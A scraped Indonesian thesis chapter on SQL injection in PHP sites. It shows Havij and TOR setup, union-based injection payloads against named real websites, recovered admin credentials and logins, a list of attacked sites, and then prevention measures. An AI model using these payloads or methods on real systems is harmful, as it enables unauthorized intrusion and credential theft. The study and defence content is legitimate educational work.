BAB 4 IMPLEMENTASI DAN EVALUASI

dokumen-dokumen yang mirip
KEAMANAN KOMPUTER APLIKASI HAVIJ KELOMPOK : BAGUS WAHYU SANTOSO KHAIRUL RAHMAN RENDY ZULIANSYAH

Untuk mengimplementasikan sistem ini, diperlukan spesifikasi perangkat keras,

Eksekusi file setup.exe yang ada dalam CD atau folder instalasi oracle.

2.1 Instalasi Joomla Secara Lokal

Written by Administrator Wednesday, 15 June :49 - Last Updated Thursday, 20 December :10

Xcode Intensif Training. Advanced ethical web. hacking & security

LAMPIRAN. Lampiran Halaman Depan Web Hosting. Menu Hosting L-1

Koneksi PHP -ODBC Persiapan

BAB IV IMPLEMENTASI DAN PENGUJIAN

INSTALLATION GUIDE INSTALLATION GUIDE. PT.Technomatic Cipta Mandiri. IT division: Jl. Cikutra Baru Raya No.2 Bandung-40124

Secara umum, eksploit dapat dibagi atas dua jenis, yaitu eksploit lokal (local exploit), dan eksploit remote (remote exploit).

Berikut ini merupakan langkah-langkah untuk menjalankan aplikasi sms gateway ini :

Instalasi MySQL dengan App Serv [ Hari Zulianto ] [Year] JOB SHEET

SMK BHAKTI NUSANTARA BOJA

INSTALASI WEB SERVER PADA LINUX Oleh Dwi Kurnivan Setiono

Instalasi Joomla. 1. Masukkan Bonus CD yang berisi program WampServer2.2a-x32 ke DVD/CD Driver.

BAB IV IMPLEMENTASI DAN EVALUASI. Berikut ini adalah daftar spesifikasi perangkat lunak yang

Xcode Intensif Training. Ethical Web hacking & Security ~ Advanced

Membangun Website dengan Joomla!

MODUL 8 Mengoperasikan Perangkat Lunak Basis Data

E-trik Ajax. Database MySQL. Dedi Alnas

CARA INSTALL DAN REMOVE APLIKASI. Pemerintah Daerah Kabupaten Sleman repo.slemankab.go.id

Hacking Website With SQL Injection

Pertemuan 11 Pengenalan DBMS dan MySQL

Menginstall MYSQL SERVER 5.6 pada Windows 8. Sebelum nya download sql offline installer pada link ini (windows 8 32 bit Support)

MySQL J A M K E T I G A

Methods of Manual Penetration Testing (Actual Exploit)

MODUL PRAKTIKUM BASIS DATA TEKNIK INFORMATIKA UIN SUNAN KALIJAGA YOGYAKARTA 2011 PENGENALAN DATABASE MYSQL

BAB IV IMPLEMENTASI DAN PENGUJIAN

Tahap Instalasi PostgreSQL di Windows

MANUAL UNTUK MENJALANKAN PROGRAM

Cara Install WordPress Offline di Localhost XAMPP. Jackson Sihite. Abstrak. Pendahuluan.

INSTALLATION CHECKING

MODUL III STRUCTURED QUERY ANGUAGE (SQL)

KONEKSI NETBEANS DENGAN DATABASE SQLITE

2. Perangkat Jaringan (Kabel UTP, Switch/Hub,Ethernet) Perangkat Lunak 1. Sistem Operasi (WindowsXP, Windows 2000, Windows 2003, Linux)

MODUL JOOMLA! oleh: Putu A. Widhiartha dan Made J. Wiranatha BAB II INSTALASI JOOMLA

Panduan Pengelolaan Hosting


Mengakses Microsoft SQL Server dengan PHP

BAB V IMPLEMENTASI DAN PEMBAHASAN

Wordpress : Membuat Situs di PC Sendiri

Tutorial Instal XAMPP

BAB V IMPLEMENTASI DAN PENGUJIAN

Gambar ini menunjukkan informasi pemilihan folder untuk melakukan instalasi software XAMPP.

BAB V IMPLEMENTASI DAN PEMBAHASAN. Berikut ini adalah spesifikasi hardware dan software yang dibutuhkan

Instalasi Joomla 1.7

APLIKASI WEB DINAMIS LANJUT TUGAS 1

Petunjuk Teknis Instalasi ODBC dan Instalasi SIKI

Sistem minimum yang dipakai untuk membangun Manajemen Konfigurasi di. : apache , MySQL, php5. Tabel 4.1 Spesifikasi Minimum Software

BAB IV IMPLEMENTASI DAN PENGUJIAN

DATABASE SQL SERVER. Database SQL Server Halaman 1

BAB 4 PENGUJIAN DAN HASIL SIMULASI MANAJEMEN KONFIGURASI DI BPPT. dengan perancangan itop versi dan VMware

6. Jika langkah di atas dijalankan dengan benar, user akan masuk ke halaman login seperti gambar di bawah

Mata Pelajaran : Materi Kompetensi Tahun Pelajaran 2011/2012. : Membangun PC Router dan Internet Gateway (edisi.1)

LANGKAH INSTALL XAMPP DAN WORDPRESS DI PC KOMPUTER Oleh: Akhmad Syaiful, S.Kom

BAB IV IMPLEMENTASI SISTEM DAN PENGUJIAN. meliputi pembahasan mengenai proses perekaman gambar berdasarkan interval

A. INSTALLASI SOFTWARE

Gambar 2. 1 Kotak dialog Pilihan Bahasa

Step by Step SQL Injection Attack

Pemrograman PHP & MySQL

Membuat Aplikasi Tampil, Entri, Edit, Delete Mahasiswa

BAB 4 IMPLEMENTASI DAN EVALUASI. Web wizard akan ditempatkan pada server yang merupakan sebuah proxy server

MANUAL PENGOPERASIAN JSTOCKINVENTORY Twitter

Langkah Langkah Membuat Blog Secara Offline Menggunakan Wordpress

TUGAS KELOMPOK SECURITY COMPUTER TOOL HACKING SQL INJECTION

BAB IV IMPLEMENTASI DAN PENGUJIAN SISTEM

BAB V IMPLEMENTASI DAN PEMBAHASAN

TUTORIAL CONTENT MANAGEMENT SYSTEM WEB HOSTING JOOMLA

LAMPIRAN A. instalan pada folder htdocs dengan mengakses alamat melalui

Mengexport Database Ms Access ke MySQL dengan menggunakan ODBC Connector

Step-Step dalam pembuatan Web

BAB V IMPLEMENTASI DAN PEMBAHASAN. Berikut ini adalah hardware dan software yang dibutuhkan untuk

Analisis Penanganan SQL Injection pada Basis Data MySQL dengan Framework Code Igniter dan PHP

Website : Mobile : Twitter

Muhammad Adri. Pendahuluan. Instalasi Xampp

PENGENALAN DAN INSTALASI SOFTWARE

PENGGUNAAN APLIKASI E-LEARNING (MOODLE)

SMK BATIK 2 SURAKARTA

Tutorial Cara Upgrade Aplikasi Perpustakaan Senayan

Instalasi Web Server WAMP 5 versi Pemrograman Web

BAB IV IMPLEMENTASI DAN PENGUJIAN

BAB IV IMPLEMENTASI DAN PENGUJIAN

Panduan Penggunaan dan Perawatan Server

BAB 4 HASIL DAN PEMBAHASAN

LAMPIRAN : CARA MENJALANKAN PROGRAM

Tips Keamanan Aplikasi Web PHP & MySQL

STEP BY STEP INSTALLASI SOFTWARE PPOB ARINDO LOKET BARU

PostgreSQL for Windows

A. INSTALLASI SOFTWARE

BAB IV IMPLEMENTASI DAN PENGUJIAN

b. Spesifikasi komputer yang disarankan pada client Processor : Intel Pentium IV 1,8 Ghz

MANUAL UNTUK MENJALANKAN

BAB 4 IMPLEMENTASI DAN EVALUASI

Manual Installasi SLiMS 7 (Cendana) Di Windows 7 *

BAB 4 IMPLEMENTASI DAN EVALUASI Spesifikasi Perangkat Keras untuk Server: : Intel Core 2. 1 Ghz. : 1024 MB 133 Mhz

Pemrograman Web Week 1. Team Teaching

BAB IV IMPLEMENTASI DAN PENGUJIAN

BAB IV IMPLEMENTASI DAN PENGUJIAN

Transkripsi:

BAB 4 IMPLEMENTASI DAN EVALUASI 4.1 Prosedur Operasional Sub bab operasional merupakan sebuah bagian dari prosedur dalam menjalankan implementasi serangan SQL Injection, dengan menggunakan sebuah tools yang dipergunakan untuk membantu melakukan serangan SQL Injection pada beberapa web target yang berbasis platform PHP. 4.1.1 Instalasi Havij Havij Pro 1.15 Portable, digunakan untuk SQL Injection, proses instalasinya sebagai berikut : 1. Buka folder Havij, kemudian pilih Havij.exe Gambar 4.1 Folder Havij 2. Setelah di klik maka akan muncul jendela berikut ini. Kemudian pilih register. 40

41 Gambar 4.2 Registrasi Havij I 3. Setelah itu tulis nama registrasi pada bagian Name Gambar 4.3 Registrasi Havij II

4. Kemudian pada file, klik browse folder dan pilih file Havijkey.lc yang berada pada folder yang sama dari Havij.exe 42 Gambar 4.4 Folder HavijKey 5. Setelah itu klik register Gambar 4.5 Registrasi Havij

6. Kemudian akan muncul pop-up yang menyatakan bahwa registrasi telah sukses dilakukan. 43 Gambar 4.6 Hasil Registrasi Havij 4.1.2 Instalasi TOR TOR merupakan software yang menggunakan konsep Onion Routing, namun ia hanya mendukung browser Firefox karena menggunakan add-ons. Dan software ini berjalan pada platform Windows, baik Windows XP maupun Windows Seven. 1. Jalankan installer Vidalia, dalam contoh ini menggunakan vidalia-bundle-0.2.2.4-0.2.15 Gambar 4.7 Vidalia.exe

44 2. Pilih English sebagai selected language, kemudian klik Ok Gambar 4.8 Option Language Vidalia 3. Klik Next Gambar 4.9 Vidalia Setup

4. Pilihan akan di select all secara otomatis, kemudian klik Next 45 Gambar 4.10 Vidalia Setup Components 5. Kemudian pilih lokasi driver untuk instalasi, lalu klik Install Gambar 4.11 Destination Folder Vidalia

46 6. Klik Next Gambar 4.12 Instalasi Vidalia 7. Proses instalasi telah selesai dilakukan, klik Finish Gambar 4.13 Instalasi Vidalia Selesai

47 8. Pada Firefox akan muncul jendela untuk install add-ons Torbutton. Pilih Install now. Torbutton berguna untuk mengaktifkan TOR pada browser. Gambar 4.14 Instalasi Tor dalam Add-ons 9. Add-ons Torbutton telah selesai di install Gambar 4.15 Instalasi Tor

10. Saat Torbutton telah di install, maka perlu dilakukan restart pada Firefox agar Torbutton dapat berfungsi. 48 Gambar 4.16 Restart Firefox 11. Akan muncul pop-up dari Vidalia Control Panel yang berguna sebagai pengaturan untuk start dan stop TOR. Pada gambar ini sedang dilakukan konfigurasi ke jaringan TOR. Gambar 4.17 Konfigurasi Jaringan TOR

49 12. Koneksi ke jaringan TOR telah selesai dilakukan, maka TOR sudah dapat digunakan untuk mengubah IP dengan mengunakan browser. Gambar 4.18 Tor yang Terhubung 13. Ke jendela Firefox lalu klik kanan pada tulisan Tor Enabled yang berwarna merah, kemudian pilih Toggle TOR status untuk mengaktifkan TOR di browser. Gambar 4.19 Status TOR

50 14. Setelah klik Toggle TOR status maka TOR Disabled yang berwarna merah akan berubah menjadi TOR Enabled yang berwarna hijau. Jika sudah sampai tahap ini maka TOR sudah bisa digunakan untuk mereverse IP. Gambar 4.20 TOR Dalam Firefox 15. IP bisa diperiksa dengan mengunjungi situs yang menyediakan pemeriksaan IP. Pada contoh ini menggunakan www.whatismyipaddress.com yang menyatakan bahwa IP yang digunakan berasal dari Budapest, Hungaria. IP lokal telah berhasil disembunyikan. Gambar 4.21 Web Whatismyipaddress

51 Namun TOR hanya bisa berfungsi pada web aplikasi. Jika melakukan serangan yang melibatkan jaringan langsung tanpa perantara web application, maka IP lokal akan terdeteksi. Dan TOR hanya bisa digunakan pada browser Firefox. 4.2 Implementasi Pencarian Halaman Vulnerable Sub bab implementasi serangan adalah bagian yang menunjukkan langkah langkah melakukan serangan SQL Injection pada sebuah web vulnerable dengan menggunakan tools Havij maupun dengan cara melakukan serangan SQL Injection melalui inputan URL pada web target. 4.2.1 Penyerangan SQL Injection pada PHP Pada contoh implementasi serangan SQL Injection, menggunakan tools Havij 1.15. Untuk menggunakan tools ini sebelumnya perlu mencari web target yang vulnerable serta pada URL web target terdapat karakter = contoh : http://www.target.com/index.php?id=123. Berikut ini adalah langkah langkah dalam melakukan serangan SQL Injection, sehingga akan didapatkan database serta hak akses sebagai administrator pada sebuah web tertentu. Langkah langkah serangan SQL Injection pada web pertama, sebagai berikut : 1. Buka halaman web target pada browser.

52 Gambar 4.22 Web target 1 2. Cari halaman web target yang terdapat karakter =. Gambar 4.23 Pencarian Halaman Vulnerable

53 3. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Gambar 4.24 URL dalam Havij 4. Klik button Analyze untuk memulai proses analisis terhadap web target. Gambar 4.25 Havij Menganalisa Web Target

5. Nama database dari web target telah didapatkan, kemudian klik Tab 54 Tables Gambar 4.26 Database Hasil Havij 6. Setelah itu tabel-tabel yang terdapat pada nama database tersebut akan di ekstrak. Kemudian klik Tab Get Tables Gambar 4.27 Tabel Hasil Havij

7. Pilih nama tabel yang ingin ekstrak. Pada kasus ini pilih untuk mengekstrak tabel administrator. Kemudian klik Tab Get Columns 55 Gambar 4.28 Pemilihan Menganalisa Kolom pada Suatu Tabel 8. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih isi dari field username dan passwd. Kemudian klik Tab Get Data Gambar 4.29 Hasil Kolom Tabel Havij

9. Username dan password administrator pada contoh web pertama telah berhasil didapatkan. 56 Gambar 4.30 Data dari Database Target 10. Klik Tab Find Admin untuk mendapatkan halaman login administrator. Gambar 4.31 Hasil Halaman Administrator Target

11. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser. 57 Gambar 4.32 Halaman Administrator Target 1 12. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya. Gambar 4.33 Login Sebagai Administrator Pada Web Target 1

13. Login sebagai administrator berhasil, maka implementasi serangan SQL Injection telah berhasil dilakukan. 58 Gambar 4.34 Halaman Web Sebagai Administrator Langkah langkah serangan SQL Injection pada web kedua, sebagai berikut : 1. Buka halaman web target pada browser. Kemudian cari halaman web target yang terdapat karakter =. Gambar 4.35 Web Target 2

2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah 59 sebelumnya. Kemudian klik button Analyze proses analisis terhadap web target. untuk memulai Gambar 4.36 Hasil Analisis Havij 3. Nama database dari web target telah didapatkan, kemudian klik Tab Tables. Setelah itu tabel-tabel yang terdapat pada nama database tersebut akan di ekstrak. Kemudian klik Tab Get Tables Gambar 4.37 Hasil Database dan Tabel Havij

4. Pilih nama tabel yang ingin diekstrak. Pada kasus ini pilih untuk mengekstrak table administrator. Kemudian klik Tab Get Columns 60 Gambar 4.38 Kolom Hasil Havij 5. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih untuk mendapatkan isi dari field id, nama dan password. Kemudian klik Tab Get Data. Username dan password administrator pada contoh web kedua telah berhasil didapatkan. Gambar 4.39 Data Hasil Havij

61 6. Klik Tab Find Admin untuk mendapatkan halaman login administrator. Gambar 4.40 Halaman Administrator Hasil Havij 7. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser. Gambar 4.41 Web Halaman Administrator Target 2

8. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya. 62 Gambar 4.42 Login Sebagai Administrator pada Web Target 2 9. Login sebagai administrator berhasil, maka implementasi serangan SQL Injection telah berhasil dilakukan. Gambar 4.43 Halaman Sebagai Administrator Pada Web Target 2

63 Langkah langkah serangan SQL Injection pada web ketiga, sebagai berikut : 1. Buka halaman web target pada browser. Gambar 4.44 Halaman Web Target 3 2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze proses analisis terhadap web target. untuk memulai Gambar 4.45 Havij Gagal Melakukan SQL Injection

64 Pada web ketiga gagal untuk dilakukan serangan SQL Injection menggunakan Havij. Langkah-langkah SQL Injection pada URL Target : http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1 Gambar 4.46 Halaman Web Target SQL Injection Pada URL 1. Cek bug pada suatu web dengan menambahkan single quote ( ' ) dibelakang URL, jika muncul pesan error Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on line 95 maka dapat dikatakan bahwa web target memiliki celah keamanan dan dapat di serang dengan SQL Injection. Gambar 4.47 Cek Vulnerable Web

65 2. Untuk mencari kolom gunakan perintah [order by]. order by 1 dimulai dengan angka 1, selanjutnya 2, dan seterusnya sampai muncul pesan error pada web target, error muncul pada angka 9. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on line 95 http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1 order by 9 jadi angka yang diambil adalah 9-1 = 8 (jumlah kolom adalah 8). Gambar 4.48 Cek Jumlah Kolom I Gambar 4.49 Cek Jumlah Kolom II

66 Gambar 4.50 Cek Jumlah Kolom III 3. Selanjutnya akan dicari angka urutan tabel yang paling mudah diserang dimana bisa dilakukan injeksi dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=1 menjadi id=-1 http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,2,3,4,5,6,7,8-- akan muncul angka : 2 Gambar 4.51 Cek Tabel Vulnerable

67 4. Selanjutnya cari versi Database MySql-nya dengan perintah "version()" pada angka 2. http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,version(),3,4,5,6,7,8-- muncul tulisan : 5.1.57 yang berarti web target menggunakan MySql versi 5.1.57. Gambar 4.52 Cek Versi MySQL 5. Selanjutnya akan dicari tabelnya dengan perintah "group_concat(table_name)" pada angka yang telah didapatkan pada langkah ketiga dan "from information_schema.tables where table_schema=database()--" dibelakang angka 8 http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database()-- muncul nama nama tabel : admin, event, kategori, orders, orders_item, produk, status, user. Gambar 4.53 Cek Nama Tabel

68 6. Selanjutnya cari kolom dari tabel yang ada hubungannya dengan user dan password, kali ini ambil tabel "admin" tetapi sebelumnya konversi ke hexa agar dapat dibaca pada ASCII text ketik admin lalu klik ASCII to Hex, hasilnya di kolom Hex Value : 61:64:6d:69:6e. Hilangkan tanda titik dua ( : ) sehingga menjadi 61646d696e. Perintah selanjutnya adalah "group_concat(column_name)" pada angka 2 yang didapat pada langkah ketiga dan "from information_schema.columns wheretable_name=0xhexa--" di akhir URL yaitu 61646d696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah dikonversi ke hexa. http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x61646d696e-- muncul kolom : id, nama, password. Gambar 4.54 Web Convert ASCII ke Dalam Hexa Gambar 4.55 Cek Spesifik Tabel

69 7. Untuk melihat isi dari kedua kolom tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka yang telah dilakukan saat langkah ketiga dan from NAMATABLE pada akhir URL ganti column1 dengan "nama" dan column2 dengan "password". 0x3a adalah tanda titik dua( : ) yang telah dikonversi ke hexa. NAMA TABLE diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin" http://puzzle-spot.co.cc/produk.tampilan.php?produkid=- 1unionallselect1,group_concat(nama,0x3a,password),3,4,5,6,7,8fromadm inistrator-- hasilnya akan muncul: admin:admin, yang berarti, username : admin password : admin sekarang tinggal login ke web target. Gambar 4.56 Data dari SQL Injection 4.3 Implementasi Konfigurasi Pencegahan SQL Injection pada PHP Implementasi konfigurasi merupakan sub bab yang memaparkan langkah langkah konfigurasi yang harus dilakukan untuk melakukan pencegahan terhadap

70 serangan SQL Injection dari berbagai macam celah yang mungkin saja terdapat pada sebuah web yang vulnerable. Implementasi konfigurasi pencegahan serangan SQL Injection dibahas pada 3 macam implementasi yaitu implementasi pada code PHP dan penyimpanan file, implementasi pada web server lokal dan implementasi pada web server melalui jasa web hosting. 4.3.1 Implementasi pada Code PHP dan Penyimpanan File Pada contoh coding seperti ini : Gambar 4.57 Code PHP Vulnerable Dapat menimbulkan permasalahan keamanan pada input username dan password, yang memungkinkan untuk di injeksi dengan suatu string yang biasa digunakan pada SQL Injection, yaitu OR = pada field username dan password yang kemudian akan dianggap true, karena pada $query= SELECT * FROM user WHERE username = $username AND password= $password ; posisi

username = $username akan digantikan oleh username = OR = seperti pada kasus berikut: 71 Gambar 4.58 User Interface Web Test Field pada username dan password diisi dengan OR = setelah itu klik submit. Gambar 4.59 Login Sukses dengan SQL Injection Berhasil melakukan login hanya dengan menggunakan OR = 1. Langkah langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax mysql_real_escape_string() :

72 Gambar 4.60 Syntax mysql_real _escape_string Saat code telah ditambahkan syntax mysql_real_escape_string(); seperti pada baris ke 11 yang berguna untuk melewatkan karakter spesial dari input pada field username dan password, maka OR = akan dianggap false seperti berikut : Gambar 4.61 User Interface Setelah Syntax mysql_real_escape_string Untuk lebih jelasnya, cara keja yang dilakukan oleh mysql_real_escape_string(); adalah

73 Gambar 4.62 User Interface Logika Syntax mysql_real_escape_string 2. Langkah langkah konfigurasi untuk pencegahan terhadap celah SQL Injection pada perubahan Return Value : Pada contoh coding berikut : Gambar 4.63 Kelemahan Coding PHP Return Value Di baris ke 15, mysql_num_rows($quesy_run)>=1 terdapat kelemahan, yaitu >=1 karena tidak membatasi jumlah return value baris yang bisa diterima. Pada database terdapat > 1 baris.

74 Gambar 4.64 User Interface phpmyadmin Untuk meningkatkan keamanan dari celah ini, maka perlu dilakukan pembatasan dalam jumlah return value agar yang diterima hanyalah data yang sesuai dengan database. Jika data tidak tercantum pada database, maka login tidak akan berhasil. Hal ini dilakukan dengan mengganti return value menjadi ==1. Gambar 4.65 Solusi Coding Kelemahan PHP Return Value

75 Saat return value diubah menjadi ==1 seperti pada baris ke 15, yang membatasi return value hanya pada satu baris, maka yang terjadi pada saat memasukkan input OR = adalah : Gambar 4.66 User Interface Setelah Solusi Coding PHP Login tersebut gagal karena OR tidak terdapat dalam database. Jika dimasukkan input yang benar dan sesuai dengan salah satu dari kolom yang ada didalam database, maka input akan diterima. Gambar 4.67 User Interface Login Success 3. Langkah langkah untuk menghindari Find Admin pada Havij : Havij dapat melakukan pencarian terhadap halaman administrator dengan melakukan pemeriksaan terhadap kemungkinan kemungkinan penamaan pada halaman administrator yang biasa digunakan oleh web. Oleh karena itu, untuk melindungi halaman administrator agar tidak berhasil ditemukan oleh penyerang, maka halaman dapat dilindungi dengan cara :

76 Menghindari penamaan yang umum digunakan seperti xxxx.com/admin.php; xxxx.com/cpanel; xxxx.com/admin/admin.php dan lain sebagainya. Halaman login administrator dapat diletakkan ke dalam folder dengan nama yang lebih tidak umum, atau dengan menggunakan folder didalam folder yang juga menggunakan nama yang tidak umum, seperti berikut ini : Gambar 4.68 Havij Find Admin Havij gagal mendapatkan halaman administrator, karena halaman administrator berada pada folder pages/administrasi/login.php yang ditampilkan sebagai berikut :

77 Gambar 4.69 Halaman Login Administrator Target Setelah Dikonfigurasi Dengan tingkat kerumitan penamaan yang hanya diketahui oleh pemilik web atau orang yang bersangkutan, maka pencarian halaman login administrator akan sulit untuk dilakukan, sehingga dapat mencegah penyusup untuk memasuki halaman administrator walaupun ia telah memiliki username dan password administrator. 4. Cara mengantisipasi password leak dengan menggunakan preg_match() dan enkripsi md5(). Dalam melakukan pencegahan terhadap serangan SQL Injection dan sebagai langkah antisipasi apabila penyerang berhasil menemukan isi database, maka melakukan enkripsi password merupakan langkah yang sangat penting dan hal yang paling mendasar, sehingga data yang diperoleh tidak dapat digunakan untuk mengakses halaman administrator maupun user dari suatu web. Penggunaan password pun harus gabungan dari huruf, angka, maupun spesial karakter agar menyulitkan penyerang jika hendak melakukan proses dekripsi password. Untuk password yang umum digunakan, proses dekripsi sangat mudah dilakukan karena kamus dari hasil enkripsi kata tertentu sudah banyak beredar secara online. Berikut contoh penggunaan

enkripsi password pada suatu web, dalam hal ini enkripsi yang digunakan adalah md5. 78 Gambar 4.70 User Interface Web yang Terenkripsi Pada gambar diatas, password yang harus digunakan terdiri dari huruf kecil, huruf kapital, angka dan special karakter, dimana code validasi password menggunakan fungsi preg_match(); untuk menentukan pola tersebut adalah seperti berikut : Gambar 4.71 Coding Enkripsi PHP

79 Gambar 4.72 Coding Enkripsi PHP Lanjutan Sehingga, pada saat code dieksekusi, data yang tersimpan pada database menjadi seperti berikut : Gambar 4.73 Tampilan Password Enkripsi pada Database Password yang berisi md5md5!! dienkripsi menjadi dd1395672066fdd8a1c860f4464c2b30, jika diuji dengan melakukan dekripsi melalui Havij yang memanfaatkan bermacam macam decryptor online, maka hasilnya seperti berikut :

80 Gambar 4.74 Havij Decryptor Dan apabila dilakukan pencarian melalui search engine, maka hasilnya seperti berikut : Gambar 4.75 Search Engine dengan Google

81 Hal ini sangat berbeda jika menggunakan password yang umum digunakan, seperti administrator123! yang enkripsi md5nya adalah 10c4981bb793e1698a83aea43030a388. Walaupun terkesan password tersebut kuat karena terdiri dari kombinasi huruf, angka dan spesial karakter, namun dekripsi untuk plain textnya sangat mudah ditemukan. Seperti yang ditemukan oleh Havij pada gambar berikut : Gambar 4.76 Contoh Password yang Terlihat Strong Oleh karena itu, menggunakan password yang terlihat kuat saja tidak cukup, tetapi harus menggunakan kombinasi yang sangat unik dan bervariasi agar password menjadi lebih kuat. Terutama password bagi administrator, karena username dan password administrator paling sering menjadi target dari penyerang.

82 4.3.2 Implementasi pada Web Server Sub bab implementasi pada web server membahas mengenai konfigurasi apa saja yang mungkin diterapkan di pemilik web jika menggunakan server lokal milik sendiri atau pun menggunakan server yang telah disediakan oleh jasa web hosting. 4.3.2.1 Server Lokal Field pada username dan password diisi dengan OR = setelah itu klik submit. Gambar 4.77 Login Sukses dengan SQL Injection Berhasil melakukan login hanya dengan menggunakan OR = 1. Langkah langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file php.ini : Menggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux.

83 Gambar 4.78 Letak Terminal Pada Linux 2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah perintah selanjutnya yang akan dilakukan. Gambar 4.79 Login Terminal Linux 3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini Gambar 4.80 Perintah Membuka File php.ini Pada Linux

84 4) Mengaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini Gambar 4.81 Tampilan PHP.ini magic_quotes_gpc Pada Linux Menggunakan sistem operasi Windows 1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini Gambar 4.82 Command Prompt Windows

85 2) Mengaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+S atau klik File >> Save, untuk menyimpan hasil perubahan pada file php.ini Gambar 4.83 Tampilan php.ini magic_quotes_gpc Pada Windows Setelah syntax magic_quotes_gpc = On, maka pada saat dilakukan input OR = maka string akan diterima seperti berikut : Gambar 4.84 User Interface Setelah Konfigurasi Magic Quotes

86 2. Langkah langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax display_errors pada file php.ini : Menggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux. Gambar 4.85 Letak Terminal Linux 2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah perintah selanjutnya yang akan dilakukan. Gambar 4.86 Login Terminal Linux

3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini 87 Gambar 4.87 Perintah Membuka File php.ini Pada Linux 4) Mengaktifkan off pada syntax display_errors, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini Gambar 4.88 Tampilan PHP.ini display_errors Pada Linux Menggunakan sistem operasi Windows 1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini

88 Gambar 4.89 Command Prompt Windows 2) Mengaktifkan off pada syntax display_errors, lalu tekan Ctrl+S, untuk menyimpan hasil perubahan pada file php.ini Gambar 4.90 Tampilan php.ini display_errors pada Windows

89 Setelah syntax display_errors = Off, maka pada saat dilakukan input maka halaman web tidak akan memunculkan pesan error seperti berikut : Gambar 4.91 Halaman Web Vulnerable 3. Langkah Langkah konfigurasi untuk pencegahan terhadap celah SQL Injection dengan melakukan instalasi Mod Security : Menggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux. Gambar 4.92 Letak Terminal Linux

90 2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah perintah selanjutnya yang akan dilakukan. Gambar 4.93 Login Terminal Linux 3) Ketik perintah apt-get install subversion untuk memulai instalasi mod security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut. Gambar 4.94 Perintah Install Subversion Pada Linux 4) Lalu ketik perintah svn co https://modsecurity.svn.sourceforge.net/svnroot/modsecurity/m2/trunk modsecurity. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut. Gambar 4.95 Perintah Download mod_security Pada Linux

91 5) Kemudian ketik perintah apt-get install libapachemod-security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut. Gambar 4.96 Install libapache-mod-security Pada Linux 4.3.2.2 Server Jasa Web Hosting 1. Langkah langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file.htaccess : Gambar 4.97 Konfigurasi htaccess magic_quotes_gpc Pada Hosting 2. Langkah langkah untuk pencegahan terhadap celah SQL Injection menggunakan syntax display_errors pada file.htaccess :

92 Gambar 4.98 Konfigurasi htaccess display_errors Pada Hosting 4.4 Evaluasi 4.4.1 Evaluasi Hasil Serangan SQL Injection Dari hasil evaluasi yang sudah didapatkan ada berberapa jenis celah terhadap serangan SQL Injection yang mungkin dilakukan pada sebuah web yang berbasis PHP. Berikut ini adalah daftar tabel web yang telah dilakukan uji coba serangan SQL Injection dengan menggunakan Havij. Tabel 4.1 Web yang Diserang dengan Havij No URL SQLi Database Tabel Kolom Data Enkripsi Administrator /Halaman Administrator 1 http://www.oz onegaming.co m/product.php?id=12 2 http://spyderc o.com/catalog/ details.php?pr oduct=77 3 http://www.se phiroth.it/file_ detail.php?id= 130

